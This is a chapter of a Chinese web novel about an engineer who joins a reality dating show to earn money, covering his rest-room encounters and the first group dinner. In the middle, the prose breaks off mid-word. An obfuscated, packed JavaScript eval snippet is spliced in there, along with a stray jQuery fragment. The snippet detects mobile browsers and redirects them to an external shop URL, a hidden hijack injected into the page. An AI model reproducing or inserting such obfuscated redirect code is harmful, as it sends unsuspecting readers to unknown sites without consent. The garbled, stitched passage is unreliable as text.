单独采访结束后，陈末被带到一间临时休息室。门关上的瞬间，他做的第一件事是掏出手机——节目组发的工作机，一台黑色外壳、没有任何品牌标志的智能手机，功能仅限于接打电话、内部通讯和查看节目日程。


    他点开计算器。


    从上午九点抵达到现在下午四点十五分，共七小时十五分钟。按日薪一千、每日工作十二小时（合同写的是“录制期间均视为工作时间”）计算，时薪约为83.33元。


    七小时十五分钟就是603.75元。


    还不错。他靠在沙发上，看着天花板。这间休息室比之前那间小，但依然有落地窗和海景。阳光斜射进来，在地板上切出明亮的光斑。


    门外传来脚步声，是几个工作人员经过，交谈声透过门缝漏进来：


    “林薇老师的单人镜头补拍完了，效果绝了……”


    “王烁那边需要再录一段海边走的……”


    “陈末的采访片段导出来没？刘导说要优先剪……”


    陈末坐直身体。他的采访片段？优先剪？


    他想起刚才采访间里，自己说“为钱而来”时摄像师平静的反应。那不是意外，而是预料之中。节目组早就知道他会这么说？还是说……他们希望他这么说？


    手机震动了一下。是内部通讯软件的消息，来自“节目组通知”：


    【全体嘉宾请注意：晚餐将于18:30在别墅主餐厅进行，着装随意。晚餐后将有第一次集体活动，请合理安排休息时间。】


    集体活动。陈末皱了皱眉。他不知道是什么活动，但根据张伟“别太积极”的叮嘱，他应该表现得……普通一点。不突出，但也不至于拖后腿。


    问题是，什么是“普通”的标准？


    在运维工程师的世界里，“普通”意味着服务器99.9%的可用性，意味着故障响应时间在SLA（服务等级协议）范围内，意味着代码没有重大bug。这些都是可量化的。


    但在镜头前，在这些人中间，“普通”是什么？


    门外又传来脚步声，这次停在门口。敲门声。


    “请进。”


    进来的是小林，她手里拿着一个平板：“陈末老师，这是明天的初步日程，您先看看。”她把平板递过来。


    屏幕上是一个简洁的表格：


    07:00-08:00 早餐（自助）


    09:00-11:00 首次任务分组活动


    12:00-13:00 午餐


    14:00-17:00 自由活动/单人采访


    18:30-19:30 晚餐


    20:00-21:30 晚间交流环节


    “任务分组活动是什么？”陈末问。


    “这个暂时保密。”小林微笑，“导演组希望保持新鲜感。不过您放心，都是很轻松的活动，主要是为了让嘉宾们互相熟悉。”


    陈末点点头，把平板还回去。小林离开后，他重新拿出自己的私人手机——节目组允许保留，但要求关机并存放于房间保险箱。他开机，迅速打开备忘录。


    标题：《收支记录》。


    他新建一个条目：


    【8月3日第一天】


    预计收入：1000元


    实际工时：7.25h（09:00-16:15）


    已赚：603.75元


    剩余待赚：396.25元


    备注：采访片段可能被用作素材，需观察后续剪辑是否会对收入产生影响。合同条款第7.3条：如因嘉宾个人行为导致节目组重大损失，节目组有权扣除部分或全部报酬。


    他盯着“重大损失”四个字。什么是重大损失？说错话？表现太差？还是……表现太好？


    陈末关掉手机，重新锁回保险箱。他走到窗边，看着外面。从这个角度能看到别墅后方的花园，有工作人员在布置灯光设备，白色的灯架在夕阳下投出长长的影子。


    晚餐还有两个多小时。他决定在房间里待着——这是最安全的选择，不会出错，也不会被拍到什么不该拍的。


    但五分钟后，敲门声又响了。


    这次是楚曦。


    她换了身衣服，运动服换成了简单的T恤和短裤，头发湿漉漉的，像是刚洗过澡。手里拿着一个运动水壶。


    “在休息？”她问，没等陈末回答就走进来，很自然地坐到沙发上，“我也刚回来，去游了一圈。这里的泳池不错，25米标准池，水温刚好。”


    陈末站在原地：“哦。”


    “你游泳吗？”楚曦拧开水壶喝了一口。


    “会一点。”陈末说。大学时上过游泳课，能游完50米不淹死，仅此而已。


    “那明天可以一起。”楚曦说，她放下水壶，打量了一下房间，“你这间看出去是花园啊，我那边是海景。要不要换？我无所谓。”


    陈末愣了一下：“不用，谢谢。”


    “真不用？”楚曦挑眉，“海景房比较贵吧，在节目里。”


    这句话让陈末警觉起来。她是在试探什么吗？还是随口一说？


    “我习惯看花园。”他说。


    楚曦笑了，那笑容很直接，没什么掩饰：“你这个人挺有意思的。刚才自我介绍，就说那么两句。”


    “该说的都说了。”


    “也是。”楚曦站起身，走到窗边，和他并肩看着外面，“我来之前也想过怎么自我介绍。经纪人给我准备了三个版本：活泼版、专业版、真诚版。最后我选了最短的那个。”


    “为什么？”


    “因为懒得记。”楚曦说，她又喝了一口水，“而且我觉得，来这种节目，装也没用。一个月呢，迟早会露出真面目。”


    陈末侧头看她。楚曦的侧脸线条分明，鼻梁很高，睫毛很长。她说话时眼神很专注，看着窗外的花园，但陈末能感觉到，她的注意力其实在自己身上。


    “你觉得节目组为什么请我来？”楚曦忽然问。


    陈末谨慎地回答：“你是奥运冠军。”


    “退役的。”楚曦纠正，“而且游泳运动员，说白了就是个体力劳动者。不比你们搞技术的。”


    “体育也是技术。”


    楚曦转头看他，眼神里闪过一丝惊讶，然后笑了：“你这话我爱听。对了，你刚才说你是运维工程师，具体做什么的？”


    又是这个问题。但楚曦问的方式不一样，不是客气，是真的好奇。


    “确保公司的在线服务正常运行。”陈末解释，“比如你用的购物APP、视频网站，背后都有服务器。我负责让那些服务器不死机。”


    “那如果死机了呢？”


    “就修。”


    “怎么修？”


    “看日志，找原因，重启，或者换机器。”陈末说得很简略，但楚曦听得很认真。


    “听起来像医生。”她说，“病人（服务器）病了，你诊断、开药、做手术。”


    这个比喻让陈末愣了一下。他从来没这么想过。


    “差不多。”他说。


    楚曦点点头，没再问。她看着窗外，花园里的灯光一盏盏亮起来了，在渐暗的天色里像散落的星星。


    “我该回去了。”她说，走到门口又回头，“晚上见。对了——”


    她停顿了一下，像是在斟酌措辞。


    “别太紧张。”她说，“这节目再怎么样也就是个节目。我们都是来工作的，对吧？”


    陈末点头。


    楚曦离开后，房间里重新安静下来。但那种安静和之前不一样了，好像有什么东西被打破了。


    陈末重新坐回沙发，打开节目组发的工作机。内部通讯软件上有几条未读消息，都是群发通知。他点开日程表，看着明天的时间安排。


    09:00-11:00 首次任务分组活动


    分组。和谁一组？会是什么任务？


    他想起楚曦的话：“我们都是来工作的。”


    是的，都是工作。他拿钱扮演“普通素人”，其他人拿钱扮演“寻找真爱的明星”。本质上没有区别。


    但真的是这样吗？


    陈末想起林薇说“很久没有‘生活’了”时的表情，想起秦澜简洁到极致的“来学习”，想起苏小雨眼里真诚的好奇，想起楚曦直率的“懒得记”。


    他们可能真的是来工作的。但工作之余，或许也期待着别的什么。


    而他呢？


    手机震动，又一条通知：


    【温馨提示：晚餐期间将进行非正式拍摄，请各位嘉宾保持自然状态。导演组不会干预各位的交流内容，请放心交谈。】


    自然状态。


    陈末关掉手机，站起身。窗外天色已经暗下来了，海的方向变成深蓝色，天空还残留着一抹橙红。花园里的灯光更亮了，能看见有工作人员在调试设备。


    他走到镜子前，看着里面的自己。格子衬衫，牛仔裤，头发有点乱。和这个环境格格不入，就像一台Windows 98的电脑被扔进了苹果专卖店。


    但他需要留在这里。三十天。三万块。母亲的手术费。


    陈末深吸一口气，整理了一下衣领。镜子里的人看起来还是很普通，但眼神里多了点什么——是决心，还是别的什么，他自己也说不清。


    晚餐时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990765|193693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间快到了。


    他最后检查了一遍房间，确保私人手机已经关机锁好，工作机带在身上。开门前，他停顿了一下，脑子里快速过了一遍张伟的叮嘱：


    别太积极。


    别抢风头。


    当好背景板。


    还有他自己加的一条：记住，你是来赚钱的。


    然后他推开门，走进走廊。


    走廊里已经能听见其他房间开门的声音，脚步声，隐约的说话声。空气里有淡淡的香水味，不知道是谁的。


    陈末朝餐厅方向走去。路过一扇开着的门时，他瞥见里面——是王烁的房间，他正在镜子前调整领口，动作流畅得像拍广告。


    再往前，是苏小雨的房间门，关着，但能听见里面传来轻轻的哼歌声，是某首流行歌的调子。


    走廊尽头，秦澜从房间出来，她已经换了一套衣服，依然是西装，但颜色从深灰换成了浅灰。她看见陈末，点了点头。


    “晚上好。”她说。


    “晚上好。”陈末说。


    两人并肩走向餐厅。秦澜的脚步声很轻，高跟鞋踩在地毯上几乎无声。陈末的帆布鞋则发出轻微的摩擦声。


    “期待晚餐吗？”秦澜问，语气像在会议室里问“期待这次合作吗”。


    “期待。”陈末说。这是实话，他中午只吃了一片面包，现在饿了。


    秦澜看了他一眼，那眼神很短暂，但陈末捕捉到了——里面有一丝评估，一丝好奇，还有一丝……笑意？


    餐厅的门开着，里面已经布置好了。长条餐桌，白色桌布，精致的餐具。暖黄色的灯光，桌上摆着鲜花和蜡烛。


    林薇已经到了，坐在餐桌一端。她换了件米白色的针织衫，长发散下来，在灯光下泛着柔光。看见他们进来，她抬起眼，目光在陈末身上停留了一瞬。


    然后是苏小雨，蹦蹦跳跳地进来，嘴里还在哼歌。楚曦跟在后面，头发扎起来了，露出光洁的额头。


    最后是王烁，他准时出现，笑容完美，仿佛刚才在房间里调整领口的不是他。


    六个人到齐了。


    工作人员在角落比了个手势——录制开始了。


    陈末在离自己最近的座位坐下。左边是楚曦，右边是秦澜。对面是苏小雨和王烁，林薇在长桌另一端。


    晚餐是西餐，前菜已经摆好。每个人面前都有一杯水，和一杯红酒。


    “大家随意。”王烁说，他举起水杯，“第一天，以水代酒，庆祝我们相聚。”


    其他人都举杯。陈末也举起来。


    杯子碰撞发出清脆的声响。在灯光下，水晶杯折射出细碎的光。


    陈末喝了一口水，开始思考：这顿晚餐，应该算在工作时间内。


    那么从18:30到19:30，又是一个小时。83.33元。


    他切了一小块前菜——好像是某种鱼生，口感冰凉清爽——放进嘴里。


    然后他听见林薇的声音，很轻，但很清晰：


    “陈末。”


    陈末抬头。长桌另一端，林薇正看着他。灯光在她眼里映出两点暖光。


    “嗯？”他说。


    “你白天说，最近在看《Linux服务器运维实战》。”林薇说，她的手指轻轻点着水杯边缘，“那本书，好看吗？”


    问题很突然。所有人都看向陈末。


    陈末放下叉子。他感觉到六道目光落在自己身上，还有角落里至少两个摄像机的镜头。


    他想说“就是工作用书”，想说“没什么好看的”，想说点安全的话。


    但不知为什么，他开口说的是：


    “第7章讲故障排查，写得不错。第12章的案例过时了。”


    话音落下，餐桌安静了一瞬。


    然后楚曦笑出声：“你还真看了啊！”


    秦澜的嘴角也扬了起来。


    苏小雨眼睛亮晶晶的：“好专业的感觉！”


    王烁保持着微笑，但陈末注意到，他握着水杯的手指稍微收紧了一点。


    而林薇，她看着陈末，眼里那两点暖光闪烁了一下。


    “是吗。”她说，语气很平淡。但她拿起叉子，又放下，这个动作重复了两次，像是在思考什么。


    然后她问出了第二个问题：


    “那你觉得，人如果出故障了，该怎么排查？”


    问题落下的瞬间，陈末看见导演组的刘导从餐厅门口探了下头，又迅速缩回去。


    那动作太快了，但陈末捕捉到了。


    还有刘导脸上的表情——不是意外，而是期待。


    仿佛这个问题，这个场景，早就在他的预料之中。